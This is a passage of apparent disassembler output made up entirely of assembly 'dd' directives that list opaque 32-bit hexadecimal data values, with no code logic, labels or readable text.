10DE2D98h, 0A5CAC1C9h dd 747641D8h, 2B247B57h, 5E1A7D35h, 6F49A676h, 0BE544936h dd 97284F8Dh, 20ED2191h, 363B2F09h, 139D941Fh, 0FE7B5B6Eh dd 0DFB156A5h, 68BE064Eh, 0DAC4E59Fh, 40671C7Bh, 8BB12C74h dd 22E5CAFEh, 0E753CA7h, 763A7F22h, 0D31C34EEh, 0AA095A53h dd 0D991F811h, 8D0450CCh, 729FB818h, 662A221h, 6B9A9399h dd 774E3DF7h, 645CFA27h, 1E0C80F3h, 6289D650h, 0A46967F8h dd 0CEB1AE41h, 0A14830BFh, 6B093E55h, 1654804Ch, 6AA8C703h dd 9D4E85EFh, 82CCD2EDh, 0C6306FAAh, 70B6D82Ah, 445BCA9Ch dd 25D7C9B3h, 0C1B1064h, 951EC8B7h, 5AFEDCF6h, 38D4E3F9h dd 0B41C6E8Ch, 0ADFED8DAh, 0E63B927Eh, 0B35C19CCh, 4F285CBCh dd 289C0A03h, 9EB45D8Ch, 8B4113DCh, 0BD7974B1h, 844B56FCh dd 6BDB127Ah, 801816D5h, 0FBEEB459h, 0BCEB0F31h, 0E2B06E9Ah dd 8C54AA0Fh, 57124BEAh, 599D1C28h, 93499C9Ah, 8C443CE3h dd 797B243Bh, 0C070CA8Fh, 0E01DCC63h, 2B919BD1h, 5F778744h dd 7363DC01h, 15FDAEAFh, 2B1E27FCh, 33C1F2FEh, 608945A3h dd 36AA4978h, 640A2BE6h, 0F10BD8B8h, 68BD1AA8h, 6F3DEA6Dh dd 456D115Eh, 0F71930EAh, 3A532C7Ah, 6D9FB93Eh, 0CBE1030h dd 2AC24E07h, 4903E7BDh, 7823C012h, 0BE12F732h, 2A64A48Dh dd 668C53EAh, 0F1D8B3EFh, 71EC5AEBh, 9B177DA0h, 87419699h dd 0AE0BA639h, 11317971h, 821413EDh, 0AAFC4777h, 0E6944F30h dd 68E4C907h, 79DC6247h, 0D56E5F64h, 7BCF15D3h, 0B2BDE0B0h dd 274E37AEh, 0E356EED7h, 6187B271h, 4EEAF9DAh, 0AFDC20E5h dd 2490982Fh, 0DD543421h, 95ED7C4Dh, 7AFEB8B2h, 0B8EF4138h dd 15920875h, 243D3699h, 0F676711h, 26F27A1Ch, 205BD9Ah dd 0B8D802C9h, 1278E039h, 792FCBBBh, 0E80768C1h, 0C4000C0h dd 7010E42Ah, 0F5E430C3h, 0ECFF927Bh, 4DFB9F74h, 9FE08F86h dd 2AB21F5h, 3F545626h, 0F5DEB889h, 27E3EE9Dh, 0C307805Eh dd 0EC0028CBh, 0C691DE46h, 0ABDAAF9Dh, 70898F76h, 244A5144h dd 7F144880h, 0ED1780CDh, 17B2D7EAh, 2C81C211h, 0E55A2A32h dd 10725ECDh, 3B5866B9h, 1EDE1FF3h, 2A066F0Bh, 0F03DAA3Fh dd 25FF0132h, 89E15BDCh, 35C7FDB4h, 0A3722D79h, 0E58D1689h dd 7465AF89h, 0DB75FB31h, 0EA236A4Ah, 0D39A767Fh, 4088736h dd 0BFB3B776h, 0A0256FF2h, 0BE95EA17h, 1040CAD4h, 1EFD8218h dd 0BFC75BB1h, 69E0B17Fh, 0D8571BB8h, 304A3C4Eh, 7B2705B3h dd 0D9BF4153h, 0D14CDBC7h, 7A73438h, 4A454A5Fh, 0B32E78EBh dd 0B6DEFA8Fh, 51E070Bh, 21CE331Eh, 0F5D98CE0h, 4E7F75CBh dd 2252DB5h, 0BBEAE108h, 17C06BCDh, 1679CBAAh, 525F1EE3h dd 0FA87318Dh, 6F409E54h, 0D976569Dh, 0E735AF9Ah, 125995A8h dd 0BCBEE931h, 7130E54Fh, 0BFC2C19Fh, 0FF2AF0D6h, 36C4B5BCh dd 3A59E8BDh, 8D5D8488h, 0E60AE203h, 0C16E42F8h, 34CFB7BAh dd 20BE406Dh, 3492F10Dh, 0DC916DF3h, 0F490F3CAh, 0ACB31D42h dd 0E1863A04h, 0ED09D4CBh, 3F148EF6h, 0CD768434h, 0AD68CCF0h dd 5C7FF835h, 98FEFF99h, 922390B1h, 6CB9CCECh, 0BA89370Fh dd 6A000378h, 0F3CB5B52h, 0CCCE8FC7h, 3B921436h, 0D6D5C09Dh dd 39D247Bh, 0C8357E3Eh, 8CDA5861h, 5B169B1Ah, 87C6B17Dh dd 4995E437h, 0D62F05C5h, 129DD738h, 0BB11115Fh, 5F13A425h dd 0E3AD6BFDh, 0A52B9EE1h, 0DC4767FFh, 0EC00B811h, 519C93D8h dd 7376EFA0h, 538CD341h, 50CFBEF1h, 62B58D9Dh, 1B927730h dd 0F9392046h, 0C8541C29h, 0A74DAA7Fh, 1F3365A2h, 18D8152Ch dd 1A2FA43Eh, 92B9D16Ch, 8D46ACCFh, 0ABAB7994h, 69B867C3h dd 629A2125h, 0F7F4CA0Ah, 5B8787F1h, 1A662D46h, 70BE3EABh dd 1FDEECC6h, 0E61E0B57h, 719517C4h, 10D215E3h, 14E0922Fh dd 351D0C5Bh, 28FE9EDAh, 0A36909ABh, 26E4A26Ch, 34D81F42h dd 9B98CA13h, 0A83E21EDh, 1948C5D6h, 11260662h, 7F9057B4h dd 10984EF2h, 68383C3Fh, 18F1E95Bh, 0A81798D1h, 67BB066Ch dd 0F4992A11h, 7A6C11ECh, 0A455C3F0h, 52C22E64h, 0DD9D8164h dd 617397EEh, 8E13D5FFh, 3D6817BCh, 0B0E3EBBBh, 0AA6F8439h dd 0D83CD327h, 0C6F7DF28h, 992ECFBEh, 447824Ah, 0A7C1DC55h dd 0DFF0A44Eh, 0D729185Dh, 0A1771DBFh, 0B2E6F4D4h, 25BF8F83h dd 2971769Dh, 2E41F5F5h, 0BCB8B2D8h, 815EB57Dh, 3C7608CBh dd 36938538h, 5A620D71h, 473DA326h, 841AB612h, 0A9F8029Dh dd 0BC615069h, 31DC68C2h, 0BC82C06Dh, 1C6C3100h, 7E94E600h dd 0CFF6633Fh, 635C8002h, 0F5BA84D6h, 56F15652h, 0B5C563A0h dd 8ADD5594h, 0D6D502B6h, 0EFDB3A0h, 5055A010h, 159B96BBh dd 0FC48B8BFh, 1420F581h, 0B0BF9B56h, 0C27A630h, 0EDC76132h dd 35A5AC45h, 880A1F03h, 0BC010F3Ch, 66D61096h, 46C292D6h dd 16F21327h, 39AB3072h, 8BF026FBh, 9A742F63h, 0DBEFA4F1h dd 4229F1A2h, 0B75D9A93h, 3F9D0470h, 8DE2306Fh, 3999CBD2h dd 0BF0F421Bh, 0DDDBD518h dd 0E5B3AF08h, 19CA26EBh, 0D0C67807h, 90569AF9h, 0E24D00BCh dd 0FC95A374h, 0A53A8048h, 0B9E10F0Ch, 4533397Fh, 0F430BE4Ah dd 14D3A1E9h, 48B6D1C6h, 0AC899BF9h, 0F32A5960h, 73A7628Ch dd 3A973490h, 59B6C8AFh, 1301DD80h, 38BA8461h, 0C72C9233h dd 631A6CE0h, 0FCDDA72Eh, 269B77CEh, 56AC26E7h, 8EF84FA0h dd 5B087242h, 0FFE1E94h, 22EEB106h, 0FFAEF85Dh, 3AF49B6Fh dd 0E8CAF98Ch, 377452E2h, 88396752h, 95A404D1h, 0D22038DDh dd 0E00CC7F1h, 0B1F3B5FFh, 3C26D952h, 261B916Eh, 1AEA6052h dd 1EFCA7C9h, 0FE7D754Bh, 0AA8A760Ch, 78465473h, 92340D5Dh dd 0D53F9744h, 0AB07DBEBh, 609C39C3h, 0C18752B5h, 81E19F0Ch dd 6E310B8h, 258FD287h, 7C81D5Eh, 16C02038h, 6E667D2Bh dd 41CEDE1Fh, 98959089h, 771CC4CBh, 8EC5CC00h, 25A70AD2h dd 0A32357EDh, 6DF99297h, 0E42E55FAh, 5BC1BF71h, 0E1ECF6AEh dd 0B3D6D192h, 170615A0h, 0AAEA9E9Dh, 0B104B8B3h, 21877DD0h dd 476B4A54h, 4788A8E2h, 51DB2FA5h, 0FADBE0FCh, 0E2A3381Eh dd 0F0B89E64h, 0F1CEE1A7h, 0BA95C98Fh, 0F9943609h, 87FAA170h dd 5C30958Bh, 1B0FA199h, 0E08929DCh, 1809EA5Dh, 2EFFFB40h dd 5140E6A2h, 0A848C769h, 61AE039Ah, 0AC4BA307h, 0CA49F5EAh dd 3747AB76h, 0FC944EA1h, 2F213248h, 7ECFCAEDh, 0F5B4551h dd 2F7405ACh, 26EB9859h, 9E360C9Dh, 2D9A0910h, 37262268h dd 0A156F620h, 0F4D43C81h, 276B8425h, 2E9892FDh, 0AF4F322Fh dd 0C8500074h, 0D0CE842Ch, 8FC5BB29h, 41B75944h, 256EFA9Fh dd 0C88A0A01h, 0E1381A9Fh, 0D197EB33h, 50F2AC58h, 0F27C7DC2h dd 1C3726D2h, 0C509DBA3h, 2626044Dh, 0C4FA3B8Dh, 0FA476EEBh dd 8287D148h, 0D8E73054h, 2EF6C2Ah, 4A0D00CEh, 1906A6D8h dd 40A498C3h, 0D59B5089h, 16697D63h, 0D9C006E3h, 0FFB43CD5h dd 99918677h, 0F8638E1Dh, 0C61BE5DAh, 0E4113864h, 0F4E72F21h dd 3CBBEFD6h, 825EABABh, 3CA6BA94h, 0F5804205h, 46860014h dd 0F472461Eh, 5F8F6CC5h, 5BDE1891h, 0D0E9ED85h, 3E374039h dd 0D5C3E8A8h, 5C58B3ABh, 2254DB78h, 28C6EA4Ah, 34E6269Eh dd 38BF8CF7h, 0B57B83F7h, 232A3AB3h, 70FE6BB9h, 569475B5h dd 390EBCBBh, 3D8E8A60h, 0D241765Ah, 9E040AA3h, 5308DFD3h dd 81F7D284h, 0A84D999Bh, 0D189E1FFh, 0C94C6F98h, 172A3F16h dd 0BF3C99FCh, 88418C96h, 0E0F8B179h, 73E79E17h, 9915414Ah dd 8030636Ch, 2D54349Dh, 732C264Ah, 6BF85916h, 0C86C3ED9h dd 19D27300h, 3BFF1D61h, 0F8452520h, 6628B1D3h, 53BE9ADCh dd 423EB857h, 0B289DB3Fh, 0A8785F42h, 0F098940Eh, 0FDB67FCFh dd 15C13E2Eh, 0F2F0DBAAh, 0EFAD5FFCh, 17F212B7h, 0D3ED7194h dd 93A3ED29h, 58C191F8h, 50C261CAh, 45A94DBAh, 0AE424C34h dd 141D9F75h, 11D2150Bh, 2C181CFh, 0B4E05114h, 0EDE47A1Eh dd 0CB16166Bh, 8036E631h, 5C3C07D3h, 0BC892A87h, 180E43B3h dd 88CC02Fh, 2563402h, 2A535359h, 9B8C2C33h, 0B75A3D80h dd 0B6E52550h, 0A1341215h, 0F74A752Eh, 48F368CDh, 0FD73C6B8h dd 0A0240D44h, 8F48AC74h, 2E073C20h, 0EB43635Bh, 0B5BBE749h dd 24F3F366h, 71CF5E9Dh, 9C478E80h, 7D1FE120h, 530A9AACh dd 6703AAB8h, 0DD848F22h, 0E1AC5EDDh, 0D4FF044Ah, 2E48C14h dd 2D148B88h, 4D522053h, 946A9C20h, 5C5C38A1h, 0BCFFC7A2h dd 0DEDA02EFh, 0C9F33D85h, 4B08FC59h, 26AE4965h, 12C57D76h dd 0D96E527Bh, 19273224h, 0C185AC4Dh, 814BEAD4h, 94318D61h dd 0F6F10BFEh, 0A970E7DDh, 0F31D8D5Fh, 0D3748266h, 9483BF85h dd 0C8C2A9Dh, 0F1D3AC49h, 0D2BB7DE0h, 59727085h, 7F087F26h dd 94EBB496h, 0D358446Fh, 0AC56330Bh, 1FE72DE5h, 859640CEh dd 0A8670C46h, 62B8F88Ah, 0A5BB94E4h, 2522C3ACh, 80226156h dd 60AABA85h, 0DD86334Ch, 0EDA62A19h, 66FC046Bh, 89735BB2h dd 0E22752EFh, 0C52A9A52h, 25F03E05h, 67AADD46h, 8B49409Fh dd 3DEC7487h, 0EF66F062h, 220C103Dh, 8EE802B2h, 74F7FF2Fh dd 8CF9A893h, 6675924Dh, 178DF82Bh, 5AC44B67h, 95AA8C65h dd 8DA0940Fh, 37C7A7BEh, 93947D3Ah, 0C00B22EBh, 690D87B3h dd 9D508F7Fh, 0F525CAE6h, 35458A57h, 0A6C0FEACh, 0C4671FE7h dd 98227E6Eh, 8837F570h, 0C4AC6BCDh, 7F61E01Eh, 29E51C97h dd 65D71823h, 6B1D9220h, 0B7F107D8h, 16AE0EE7h, 0B3F2E7C2h dd 5A850B17h, 99521601h, 9D960CBDh, 92788ECh, 42D54380h dd 511C8C63h, 2523F4DAh, 90690583h, 186397EDh, 4BD8126Ah dd 0B04378BCh, 9E78040Dh, 8493C27Bh, 0A1249720h, 6BB8752Dh dd 2BA74B78h, 8AB0FCBh, 0AA258055h, 7DDDD79Eh, 6BC129BFh dd 20E29E7Fh, 0EBB57B2Fh, 0CB0B8FC9h, 0CDAF308Ah, 16A54BFAh dd 38E0CFEFh, 0AD3579ACh, 4B480E84h, 0AF435384h, 2F9295B6h dd 408EF525h, 627620E5h, 0B0D53F98h, 51CD6358h, 6AEBDAB5h dd 793C438Dh, 0CCDC3DBCh, 5A5F58BDh, 36FCB635h, 0BDA5124Dh dd 0EF503B96h, 6FF89ADDh, 0EDA51954h, 5C107C89h, 52A433Fh dd 0C2E75D88h, 0ECEEDD1h, 0FB9A91A7h, 9CD0FB6Bh, 9B2509EAh dd 0CB71F665h, 2124BD0Eh, 0A67155A7h, 739FAD95h, 0C967B036h dd 8E8E2E72h, 522C66AAh, 2294C9CAh, 0F7DF870Ch, 0F934AED5h dd 876C00Fh, 3577A3AAh, 72E09ECFh, 64E1CB89h, 0FBBBF84h dd 7EEF76C1h, 0A0BC9E0Bh, 59E897D7h, 0D8670071h, 6F7FF506h dd 0B735C482h, 0F82D1E70h, 1B55158Bh, 5D0AA8DDh, 0F85F63AAh dd 0D1D34FE4h, 38E608DAh, 0EB0F9F80h, 0F4AE9D55h, 89BE39FDh dd 0D39B3C73h, 30E658B4h, 5D74130Eh, 0C3580837h, 0A1C6EC96h dd 9A6AEB9Ch, 0AC8A3CDh, 0FA4F85EAh, 0D8B84394h, 844691E3h dd 0DCBD1525h, 60EDCF30h, 43DCB731h, 0E1850EA1h, 24AB38A0h dd 0EFDA97FFh, 35D4CBC0h, 5CBE7A6Ah, 67150DABh, 2B23C29h dd 99D16FE7h, 0A6DD73BAh, 5FC2CE0Dh, 40E06E52h, 0B664557Fh dd 4D73CDA9h, 0E6E16FA6h, 0F8D8337h, 0DCB5881Ah, 5335CA7h dd 0EE79D53Fh, 0C60F0078h, 0F7DA0B5Fh, 47241D94h, 0F25ACDD3h dd 0FF6EDBFBh, 0EDAAA420h, 781DCB93h, 74154864h, 0A0E3520Dh dd 86BA736h, 0B93AB5FDh, 175B0295h, 4710FE42h, 0A6A027B2h dd 6CCC4416h, 749BE4C7h, 94C07050h, 9F502A9Fh, 6F927D6Bh dd 0E11A11EAh, 0AA294FADh, 53FE1720h, 7F3A1335h, 0E6AA38A1h dd 57825476h, 0B638C483h, 67FC7484h, 6D316709h, 0F3BDA681h dd 511FF14Fh, 0F27A963Fh, 653BDC71h, 0A26C9ED4h, 0C1903C89h dd 7544A0C0h, 7D2C796Fh, 10ED2D4Dh, 3CB3F132h, 8A1EA682h dd 798FFBDh, 0CA6C091Fh, 0C4962BF0h, 30A61C7Fh, 994C1D38h dd 5D7E2E27h, 0E7314873h, 8296B084h, 0E2C04D07h, 1BC6B53h dd 0AEDB3C42h, 76551D24h, 0CA35DD90h, 0C40AFA00h, 121C3510h dd 0DCCDFAC4h, 302E94F3h, 0E27B4C3Eh, 7C60F264h, 608BB658h dd 0F2AFC91Bh, 0ED09D1E3h, 74677693h, 8662D693h, 0C6E13629h dd 3ADEC705h, 5FE2784Ah, 0FB6F72F9h, 5DFB510Ah, 14DDC368h dd 9A2E26D6h, 0CEA0D7A4h, 38E69E05h, 1303C403h, 1EADB02Ch dd 0BE5E86AEh, 671BAC74h, 330104C6h, 0FBEC6425h, 0D40EA1F5h dd 7F6B36D6h, 0C13CA60h, 0DCDAE085h, 0F76BCA3Dh, 0CA535AB0h dd 830774FEh, 133CC8D2h, 8A59C951h, 0B58EABA8h, 667D27C9h dd 6505B0DCh, 32EE4D7Bh, 0BBB39ECAh, 0AC13F1EDh, 97229427h dd 0FF57E4A8h, 0EF2FBAA0h dd 6132FD7Eh, 5E35E93Bh, 3ACBBE93h, 93452585h, 9C396E6Ah dd 1D90BD96h, 7EC3D471h, 3DC08CC6h, 0DFC70908h, 67120B1Ch dd 0EA2BABC0h, 9148B785h, 0A47949B4h, 39528870h, 3E7B324Bh dd 1B40C48Bh, 86379054h, 0A706B4C3h, 4A71B406h, 0E4940E20h dd 0D09CEC8Fh, 7CA9454Dh, 89D4E1ADh, 61D716D3h, 0C5BF4608h dd 6CA79AE9h, 6B3E88D8h, 0B29627EBh, 8A11345Bh, 0E2D6CC51h dd 0F356EEF2h, 25BB8DB6h, 826E15Bh, 8554005Ch, 33E5BD67h dd 0DA81229Bh, 0F8B30BA0h, 8D57EAEAh, 0D83D2236h, 1699BC7Ch dd 474B4F46h, 37291F1Eh, 0B68A3551h, 44407EDFh, 0B7502EC5h dd 1BC6428Ah, 0D9423B0Dh, 2C64BC7h, 4FBD4973h, 0F675E4FBh dd 0C6BA4D70h, 45B9E40h, 13AC4D14h, 0C2F23D1h, 0B45D0AD9h dd 8C1EE993h, 0C9955CAAh, 244E83A7h, 0FFED287Bh, 0CC15467Ah dd 0F4FCF34Fh, 2B5DFF0Fh, 55F35F9Dh, 7C457F09h, 99566611h dd 0AA782272h, 96BA33FDh, 0E650692Fh, 9DE98BDDh, 80A04D92h dd 43D2D394h, 75C4D83Bh, 2F6EED32h, 0F6D09707h, 0F49C53D3h dd 89F24EB3h, 6FE8F463h, 1ED0D21Eh, 1041B26Dh, 0FDF5D607h dd 0EC26838Ch, 57D65E8Ah, 5864B3B1h, 0A043C0A2h, 8612A1F7h dd 0F5FF62D3h, 10CED4E0h, 8CEDB9Fh, 0DAE6F9EBh, 4576B936h dd 0F9AAA808h, 0C056DF7Bh, 4944F110h, 425B735h, 220FFDB6h dd 0B002CFC1h, 35072508h, 4BD60719h, 0ECEF8BA7h, 0EADCD484h dd 0EF6408A4h, 0E9ABB0ACh, 0A7CE3E11h, 215028Ch, 0B734D00h dd 381ECE8Dh, 2FC85796h, 0BB4B6EECh, 0BD57669Bh, 87C7FFDCh dd 0FB92C33Dh, 22F1FFCCh, 0EA2C4E7Fh, 6A7314DAh, 145B53BCh dd 0AFFEEF5Dh, 0D1AFAD69h, 0AB7E717Bh, 44AE1E89h, 2EF5B15Fh dd 34A2DB7Ah, 91450FEEh, 34F14702h, 69BEC633h, 4B93EB4Bh dd 272CBFA8h, 0A0DA4F64h, 9307233Bh, 36A9A673h, 0B7CC2EDCh dd 50614DA5h, 0F2860865h, 0E6D35EF4h, 791316CAh, 1A7AD993h dd 0D9A47E14h, 70FE7598h, 0C8A6A2AFh, 643F921Bh, 60665AB6h dd 4ED0D758h, 318ABBB4h, 0B49A537h, 3423B9FCh, 0F4DB4E60h dd 0E4328DFEh, 0CA4FA9D7h, 0CA42C277h, 0FEEA6A0Bh, 0AD4F7743h dd 806E92F1h, 3A900177h, 696694B6h, 403BBD17h, 14C63D60h dd 0C759B0ADh, 6E2D8813h, 3F0FFAE3h, 73BD2249h, 0E3BE0F56h dd 0F2143A55h, 512FF1C1h, 60607D8Ch, 0E6C73C51h, 61CB3870h dd 6A8B2A94h, 1BADB883h, 55045A7Bh, 0A484AB58h, 0B64143EEh dd 0E6C41D19h, 27E30B67h, 0CE204E9Ch, 0C5496786h, 400D058Eh dd 9C0CC955h, 2FA9D209h, 0C2EE185Eh, 0D98C9CAEh, 0F5846B28h dd 62552F6Bh, 9F95E55Ch, 6BFF0271h, 9D490BC1h, 5B19D035h dd 54F73075h, 40CF3658h, 0EEC272F4h, 87FC8CC7h, 14D7A082h dd 5EC9C9F0h, 5E01F907h, 98833E83h, 0ACB84988h, 7FAA9C2Bh dd 633F44AAh, 821AC2C7h, 436A4665h, 4CAEA8F1h, 0FB475891h dd 0BB791984h, 95F89732h, 4C0462FFh, 0E23F6411h, 0BBA9D4F5h dd 8B677A6Fh, 9DB960D0h, 999E816Dh, 43B8BC85h, 910FC0F0h dd 0DF1AC5E9h, 37E1086Dh, 0BB1BA1B6h, 75A31518h, 2E4DF7DAh dd 9703FC6Eh, 785F093Dh, 368D9310h, 0C15F480Ah, 4B5B101Fh dd 94611A5Ch, 8AD3F97Fh, 33825E9Eh, 12D480C2h, 3C44AE9Dh dd 0A302A355h, 0D304FAF6h, 891DE126h, 5948F2ECh, 1D5D1919h dd 0DA9F9F12h, 15E8CAF9h, 22E7F84Fh, 0ADA6C89Bh, 15527770h dd 93293C05h, 6A22E2FAh, 0D96354C7h, 0DEEC4308h, 0B780877Dh dd 0D44DA38Ah, 291C085Fh, 0BFDDB173h, 9CA23EC0h, 9D400B8Bh dd 0B45EFB75h, 4BE03F50h, 0B5C7D4D0h, 0B7EF811Dh, 2DEB8FBAh dd 0DDCB1E2Eh, 0C07EA5DBh, 5024E107h, 9430148Dh, 4FD6E097h dd 0FDCFB136h, 0EF4F189Eh, 60CCC258h, 9ED075Eh, 9D01BB5Eh dd 273B3F02h, 0B39D6433h, 72A037C4h, 0E274AF19h, 6618B4C0h dd 0DE695F6Eh, 0BCD2F07Ah, 312F593h, 0DF272061h, 0BF663994h dd 0D0D6D884h, 0DAD32A82h, 142A8D36h, 9CA50F7Fh, 0C2C5E77Bh dd 0EB6FD68Ah, 0E290A205h, 60F9D044h, 0A13F80ABh, 9280013Eh dd 18AD9231h, 0D37240FCh, 0A62A2246h, 0B0F62524h, 350BA834h dd 747D6475h, 0ACE8F28Ah, 0EA48E3A0h, 799C3EC3h, 0EB5D6186h dd 300DD138h, 9DCA6834h, 66DA0B06h, 0CC9CC98h, 0DD0F96E1h dd 0B7A15105h, 5504318Ah, 0F782389Bh, 7BA31739h, 0C292D9BFh dd 0A56332EFh, 39200BE8h, 9BC0169Ch, 9C81F2DEh, 2725B4D8h dd 0F30BCE94h, 0C7B25A14h, 1FFF7576h, 621DB6D8h, 0DE582016h dd 0DB48B90Eh, 87891CD5h, 69140F40h, 926445C7h, 0F0AEF104h dd 0B8D4C725h, 93CF5CFh, 0FBE580E7h, 7DE96657h, 0E30A24E0h dd 455B7859h, 1712B11h, 8148C7F2h, 28C5BC36h, 0AAA19426h dd 0E846570Bh, 0C5814F4Eh, 1816ABA6h, 85C3C1DBh, 2594EA38h dd 6FDE0F6Ah, 5063CD2Ah, 213577CAh, 0CFB136F1h, 5170A91Fh dd 55618802h, 628E4CE1h, 39DDD004h, 33D8F044h, 0F39A4355h dd 0D326F3FDh, 0A72C5FB5h, 6C727D96h, 2EAF1B99h, 0CE16C114h dd 4BF5A673h, 1B3F1489h, 0E5BD2D0Dh, 0C064140h, 0C519212Dh dd 0BADF1395h, 91293BD3h, 0E51D2DADh, 4863113Ch, 2016C375h dd 16B5CDF8h, 4E2F159Dh, 71F4892Ah, 0F27DA436h, 0F99723C1h dd 366F64E5h, 0D77953FAh, 0CFD15338h, 0EA1A1AFDh, 1D440ECDh dd 0F36F1607h, 8FEB7412h, 0ED65F747h, 0D3F9C403h, 718C360Dh dd 57E3CFB8h, 64B1F680h, 0A6D3FA25h, 8C97F7FCh, 63BDCC83h dd 60211A6Bh, 0D34366C9h, 836E5A2Eh, 0D677C1C5h, 67B88D6Dh dd 0C185162Ah, 0A7485B3Ah, 8B7FD022h, 702235DAh, 0D299721h dd 404CE337h, 0CDE2349Ah, 0D2685CEFh, 62E634FBh, 306D33A8h dd 40A62DB5h, 21F99C2h, 0D7A8AAAh, 1080EBEh, 2995874Fh dd 0AE126A1Ah, 26149C4Ch, 71241C3Fh, 4B059A7Fh, 2D3E23DBh dd 9A1A8C91h, 730A39DEh, 7BEB39D6h, 0FC695181h, 440254E7h dd 239F1084h, 8428BEFCh, 0F10AC7B3h, 309BA70Ah, 0BC615614h dd 0A9DF373Eh, 56426D4Bh, 68B03700h, 0AA816B95h, 8ABA85E5h dd 55768528h, 0DFFE4C99h, 0DAFF31Ah, 7063E4BBh, 0B63EF741h dd 1766623h, 7C28881Eh, 2CBA45FCh, 127EEDA3h, 0C8D15A53h dd 0A7CD98D9h, 30937CA3h, 0DE1D0632h, 0DC11AA51h, 1A671C91h dd 243DA014h, 0BBCB6296h, 54206D4h, 1B250855h, 47C93A2Fh dd 6A77B48Dh, 915EE373h, 5E93CA0Ch, 0B9FF32BEh, 0B64C3A8Bh dd 44EDB84Fh, 8C3CD4BAh, 0BD5AAED9h, 4274E4F5h, 63E432Ch dd 65294874h, 63E45448h, 6494CB44h, 331BF269h, 2138AD6Dh dd 2F25745Eh, 0F04C195Ah, 0CAF60E95h, 0CD3200B6h, 0EBC60A19h dd 2166BE22h, 2C041F6Bh, 48638227h, 6E1716Fh, 4A4F9722h dd 0E689881Dh, 3F2AFAE5h, 26786267h, 73D81348h, 0BD5811E4h dd 0CC5823B0h, 5DE8153Ah, 5E36ED64h, 25737875h, 794DC803h dd 296DC191h, 133350ECh, 0B1724DBFh, 606062A1h, 250B793h dd 5735445Dh, 0D6D537EEh, 7B889FE6h, 1F1ABE04h, 0A75FB741h dd 4B1D903Ch, 0F50CA894h, 0E4361153h, 0A00C6770h, 26E4DAE4h dd 58A1D6Dh, 2B2A39BFh, 0AE229B5Bh, 0F7CF4B1Bh, 9B890520h dd 3E6F484Eh, 0C5F3A5Ch, 37F677A1h, 2F07FE65h, 34360634h dd 6292D64Bh, 0BEFB0567h, 98A85946h, 1FC45803h, 4FA3B6B5h dd 2910DB16h, 7ED37473h, 23ADA7Fh, 3BA0CD43h, 0A18A7AC8h dd 1849311h, 0D6171087h, 68F8589h, 2B02F6Dh, 767C7371h dd 298FAA66h, 6CDC46A3h dd 0AD787D83h, 59990645h, 17EAA08Fh, 0FEA31F2Eh, 0E9AE6C5Dh dd 6422D9B0h, 24E8922Eh, 7E410768h, 835B9AA5h, 0BFEAD939h dd 0D5204EBFh, 4C63CCAFh, 2B635541h, 0C80746EAh, 7134F147h dd 7C5E7A6Bh, 43D59E43h, 96FB9E8Eh, 14688C46h, 115B17EFh dd 60801DEDh, 795F2F9Fh, 4C81EA8Ah, 543AD22Dh, 7A476092h dd 7694E38Ah, 0DE3E217Ch, 0D28D9E78h, 21DBC09Eh, 0D57CAC70h dd 0BBE9736Fh, 4A20B098h, 330C98A9h, 25CE27E4h, 0F6DC5B7Bh dd 8008ED3Ah, 29C24E2Ah, 76914FA2h, 37FA0D05h, 0CA58C304h dd 97073E5Bh, 0AEDF1665h, 0DAE87E99h, 5F87570h, 278D5E1Eh dd 969EAA5h, 0AD44A8C2h, 0A1E9509Eh, 17BC2012h, 0A84F1A54h dd 33131111h, 0E2F7AA84h, 0DBD7DC65h, 4FB2E8ECh, 2F6D8B2Ch dd 0DB9A9AF3h, 206B25C4h, 8AC5567Dh, 48A917E6h, 103C9566h dd 97198854h, 83C5112Eh, 0D65044CFh, 0BCD9BD3Ah, 0AABB0097h dd 79A3F5B7h, 265F5AA7h, 0E45F7800h, 853887A4h, 7423ABF8h dd 9C7BD86Fh, 0C57A50EAh, 0CECB22FEh, 0D6214B75h, 394572DFh dd 0F18C3AA3h, 6F0CD05Ch, 31D35D59h, 99D84A30h, 0CDF6B43Dh dd 0AA501EC6h, 9FCDEA34h, 0FDC5FD82h, 9AD45C21h, 0EC58AFFDh dd 95EC213Ch, 5EB79442h, 0A47CFD75h, 0F053FDE1h, 5E841A2Ch dd 0DFF6F15Eh, 36236807h, 6FE14550h, 0B9FD9EBh, 98E5DDFDh dd 8CD54C70h, 3FEC6EA1h, 957BEE56h, 6AFCD9E2h, 3027C5C6h dd 5ECCFBDFh, 0F2452067h, 0E2C76BEFh, 0B020993Bh, 0A3EC6504h dd 0E2D2BEF3h, 0AC8BDD73h, 17B8F87h, 0ED60CB63h, 0B4C6F9C8h dd 4BCD5BEh, 0D30BFDEBh, 3B96C7C5h, 4A29B88Dh, 0F1BC04BAh dd 0F25CAF74h, 1DF4EB64h, 0AE37CEC5h, 0E6C09F91h, 7A5EB817h dd 0B2EE3F18h, 0C21112CFh, 0BC78EF6Dh, 0BCB5BF5h, 659B917h dd 1BC5CBDBh, 0E0B8F57Fh, 0A606C833h, 5A1464F6h, 805E132Bh dd 0D4B1C122h, 2F467E51h, 5E0DF009h, 0E2D46B11h, 4EB7C884h dd 4E38FAFBh, 0C55D136Ch, 0C495A00Dh, 68C73E72h, 22A8564Bh dd 64367892h, 0D1423965h, 0EF20F0F7h, 69EE6732h, 0FB4670BDh dd 1913AD66h, 49052495h, 8C9BEA14h, 2E9A7BABh, 7B8978A3h dd 4A8C7939h, 0CA17AC39h, 3C3B5A2Ch, 0E5AB6F96h, 4ECBF4F7h dd 92DE54DCh, 4B6BD33h, 0A84AABA1h, 8DBAD48Ah, 16DC2F54h dd 31F9FBB7h, 0C4D632C5h, 93CEDF0h, 9B1F6C6Bh, 98EAEE19h dd 0AAFFB6E6h, 0E668FD64h, 61525652h, 275BB0D6h, 0E40B07B3h dd 0B81AFB7Fh, 0ACBCB41Ah, 588628E7h, 7D3F1FB7h, 0D63CDFFFh dd 1A391AB7h, 0E3198FD5h, 6AF7A911h, 8A1A7A94h, 0A61D29A1h dd 540FC21Eh, 0A48E87F2h, 6D1D5CB0h, 18CB1064h, 0C757977Eh dd 0D08A5038h, 8825ED1h, 0E0751866h, 0BCF7F086h, 1B2AC3Ah dd 71E7D5D4h, 0CFFD9F88h, 8E6D097Bh, 0A4336B3Ah, 3BBACD6Fh dd 0F8C8F10Bh, 6444D7E9h, 0E72DC460h, 110F1174h, 834C19ECh dd 5038A277h, 0D61C2C25h, 0C673CE92h, 3BC4AD42h, 0E781B0C6h dd 8D25094Fh, 915DCE8Ch, 2D01FFE0h, 7D5E70A8h, 2DA9D537h dd 0C7B515A6h, 0A0B0B7AFh, 41363A14h, 